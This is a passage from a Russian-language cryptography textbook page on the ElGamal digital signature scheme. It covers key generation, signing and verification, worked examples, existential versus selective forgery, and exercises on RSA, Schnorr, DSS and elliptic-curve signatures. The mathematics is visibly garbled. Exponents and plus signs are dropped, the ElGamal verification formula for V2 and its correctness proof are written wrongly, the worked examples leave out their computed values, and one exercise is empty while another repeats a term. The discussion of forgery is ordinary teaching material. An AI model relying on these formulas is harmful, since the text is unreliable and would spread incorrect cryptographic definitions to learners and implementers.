  1. Боб применяет М, S1 и S2 для создания двух промежуточных результатов A и B:

    A = h(M)S2-1 mod q

    B = S2-1S1 mod q

    Затем Боб восстанавливает третью точку T(x,y) = A x e1( … , …) B x e2( … , …)

  2. Боб использует первую координату из T(x,y), чтобы проверить сообщение. Если x = S1 mod q, подпись принимается, иначе — отклоняется.

Схема цифровой подписи эль-гамаля

Криптосистема Эль-Гамаля была обсуждена в
«B. Стандарты и организации по стандартизации»
. Схема цифровой подписи Эль-Гамаля использует те же самые ключи, но алгоритм различен.
рис. 3.9 дает общую идею схемы цифровой подписи Эль-Гамаля.

В процессе подписания две функции создают две подписи. На стороне подтверждения обрабатывают выходы двух функций и сравнивают между собой для проверки. Обратите внимание, что одна и та же функция применяется и для подписания, и для проверки, но использует различные входы.

Рисунок показывает входы каждой функции. Сообщение — часть входа, для обеспечения функционирования при подписании; оно же — часть входа к функции 1 при подтверждении. Обратите внимание, что вычисления в функциях 1 и 3 проводятся по модулю p, а функции 2 — по модулю p — 1.

Генерация ключей

Процедура генерации ключей здесь точно такая же, как та, которая используется в криптографической системе. Выберем достаточно большое простое число p, чтобы в поле Z p* проблема дискретного логарифма была достаточно трудной.

Пусть e1 — простой элемент в Z p*. Алиса выбирает свой секретный ключ d, чтобы он был меньше, чем p — 1. Она вычисляет e2 = e1d.

Всхеме цифровой подписи Эль-Гамаля(e1, e2, p)- открытый ключ Алисы; d-секретный ключ Алисы.

Подтверждение и проверка

Рисунок 3.10 показывает схему цифровой подписи Эль-Гамаля.

Подписывающаяся Алиса может подписать дайджест сообщения, направленный к любому объекту, включая Боба.

  1. Алиса выбирает секретное случайное число r. Обратите внимание, что хотя открытые и секретные ключи могут использоваться неоднократно, Алиса каждый раз нуждается в новом r, когда она подписывает новое сообщение.
  2. Алиса вычисляет первую подпись S1 = er mod p.
  3. Алиса вычисляет вторую подпись S2 = (М — d x S1) x r-1 mod (p — 1),где r — мультипликативная инверсия r по модулю p — 1.
  4. Алиса передает М, S1 и S2 Бобу.

Проверка. Объект, например Боб, получает М, S1 и S2 и может проверить их следующим образом.

  1. Боб проверяет, что 0 < S1 < p.
  2. Боб проверяет, что 0 < S2 < p — 1.
  3. Боб вычисляет V1 = e1M mod p.
  4. Боб вычисляет V2 = e2S1 x e2S2 mod p.
  5. Если V1 является конгруэнтным V2, сообщение принято; иначе оно будет отклонено. Мы можем доказать правильность этого критерия проверки, используя e2 = e1d и S1 = e1r:

    V_{1} equiv  V_{2} (mod  p) to  e_{1}^{M}  equiv  e_{2}^{M} times S_{1}^{M} mod  p  equiv  (e_{1}^{d1})^{S1} times  (e_{1}^{r})^{S2} (mod  p)  equiv  e_{1}^{dS1 rS2} mod  p

    Мы имеем e_{1}^{M } equiv  e_{1}^{dS1   rS2} mod  p

    Поскольку e1первообразный корень, может быть доказано, что вышеупомянутое сравнение справедливо тогда и только тогда, когда M equiv  [dS_{1}   rS_{2}] mod   (p-1)  S_{2} equiv  [(M - d  times  S_{1}) times r^{-1}] mod  (p-1), и результат сравнения есть тот же самый S2, с которого мы начали процесс подписания.

Пример 3.2

Ниже приводится тривиальный пример. Алиса выбрала p = 3119, e1 = 2, d = 127 и вычислила e2 = 2127 mod 3119 = 1702.

Она выбрала r равным 307. Она объявила e1, e2 и p ; она сохранила в тайне d. Далее показано, как Алиса может подписать сообщение.

Алиса передает М, S1 и S2 Бобу. Боб использует открытый ключ, чтобы вычислить, что сообщение подписано Алисой, потому что никто, кроме Алисы, не имеет секретного ключа d.

Поскольку V1 и V2 являются конгруэнтными, Боб принимает сообщение, и он предполагает, что сообщение было подписано Алисой, потому что никто, кроме нее, не имеет секретного ключа Алисы d.

Пример 3.3

Теперь вообразите, что Алиса хочет передать другое сообщение, М = 3000, Тэду. Она выбирает новое r = 107. Алиса передает М., S1 и S2 Тэду.

Поскольку V1 и V2 являются конгруэнтными, Тэд принимает сообщение; он предполагает, что сообщение подписано Алисой, потому что никто, кроме нее, не имеет секретного ключа Алисы d.

Подделка цифровой подписи в схеме Эль-Гамаля

Схема цифровой подписи Эль-Гамаля уязвима к экзистенциальной подделке, но селективную подделку на этой схеме сделать очень трудно.

Подделка только ключа. В этом типе подделки Ева имеет доступ только к открытому ключу. Возможны два варианта:

  1. Ева имеет заранее заданное сообщение М. Она должна подделать подпись Алисы на этом сообщении. Ева должна найти две правильных подписи S1 и S2 для этого сообщения. Это — селективная подделка.
  2. Ева может методом случайного подбора найти три значения, М, S1 и S2, такие, что подпись первого используется для второго. Если Ева может найти два новых параметра x и y, такие, что М = xS2 mod (p — 1) и S1 = -y S2 mod (p — 1), то она может подделать сообщение, но серьезной выгоды не получит, поскольку это — экзистенциальная подделка.

Подделка при известном сообщении. Если Ева перехватила сообщение М и его две подписи S1 и S2, она может найти другое сообщение М’, с той же самой парой подписей S1 и S2. Однако обратите внимание, что это — экзистенциальная подделка, которая не помогает Еве.

Упражнения

  1. Используя схему RSA, при p = 809, q = 751, и d = 23, вычислите общедоступный ключ e.

    Затем

  2. Используя схему Эль-Гамаля при p = 881 и d = 700, найдите значения e1 и e2. Выберите r = 17. Найдите значение S1 и S2, если М = 400.
  3. Используя схему Шнорра, при q = 83, p = 997 и d = 23, найдите значения для e1 и e2. Выберите r = 11. Если М
    = 400
    и h (400) = 100, найдите значение S1., S2 и V. Равно ли S_{1} equiv  V (mod  p)?
  4. Используя схему DSS, при q = 59, p = 709 и d = 14, найдите значения для e1 и e2. Выберите r = 13. Найдите значение S1 и S2, если h (M) = 100. Проверьте подпись.
  5. Сделайте следующее:
  6. NIST-спецификация требует для DSS следующее: если значение S2 = 0, то две подписи должны быть повторно вычислены, используя новый r. Какова причина этого?
  7. Что случится, если Ева найдет значение r, используемое подписывающим лицом? Возможно ли это в принципе? Объясните ваш ответ отдельно для схем Эль-Гамаля-Шнорра, DSS.
  8. Что случится, если Алиса подпишет два сообщения, используя одно и то же значение n? Объясните ваш ответ отдельно для каждого протокола: Эль-Гамаля, Шнорра или DSS.
  9. Покажите пример уязвимости схемы RSA к селективной подделке, когда значения p и q являются маленькими. Используйте p = 19 и q = 3.
  10. Покажите пример уязвимости схемы Эль-Гамаля к селективной подделке, когда значение p мало. Используйте p = 19.
  11. Покажите пример уязвимости схемы Шнорра к селективной подделке, когда значения p и q являются маленькими. Используйте p =29 и q = 7.
  12. Покажите пример уязвимости DSS к селективной подделке, когда значения p и q являются маленькими. Используйте p =29 и q = 7.
  13. В схеме Эль-Гамаля, если Ева может найти значение r, может ли она подделать сообщение? Объясните.
  14. В схеме Шнорра, если Ева может найти значение r, может ли она подделать сообщение? Объясните.
  15. В DSS-схеме, если Ева может найти значение r, может ли она подделать сообщение? Объясните.
  16. Предположим, что значения p, q, e1 и r в схеме Шнорра — те же самые, что и соответствующие значения в DSS-схеме. Сравните значения S1 и S2 в схеме Шнорра с соответствующими значениями в DSS-схеме.
  17. Объясните, почему в схеме Эль-Гамаля вычисление S2 делается по модулю p, а вычисление S2 делается по модулю p — 1.
  18. Объясните, почему в схеме Шнорра вычисление S1 делается по модулю p, а вычисление S2 делается по модулю q.
  19. Объясните, почему в схеме DSS вычисление S1 делается по модулю p и модулю q, а вычисление S2 делается только по модулю q.
  20. В схеме Шнорра докажите правильность процесса проверки.
  21. В DSS-схеме докажите правильность процесса проверки.
  22. В схеме цифровой подписи эллиптической кривой докажите правильность процесса проверки.
  23. Напишите два алгоритма для схемы RSА: один для процесса подписания и один для процесса проверки.
  24. Напишите два алгоритма для схемы Эль-Гамаля: один для процесса подписания и один для процесса проверки.
  25. Напишите два алгоритма для схемы Шнорра: один для процесса подписания и один для процесса проверки.
  26. Напишите два алгоритма для DSS-схемы: один для процесса подписания и один для процесса проверки.
  27. Напишите два алгоритма для схемы эллиптической кривой: один для процесса подписания и один для процесса проверки.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector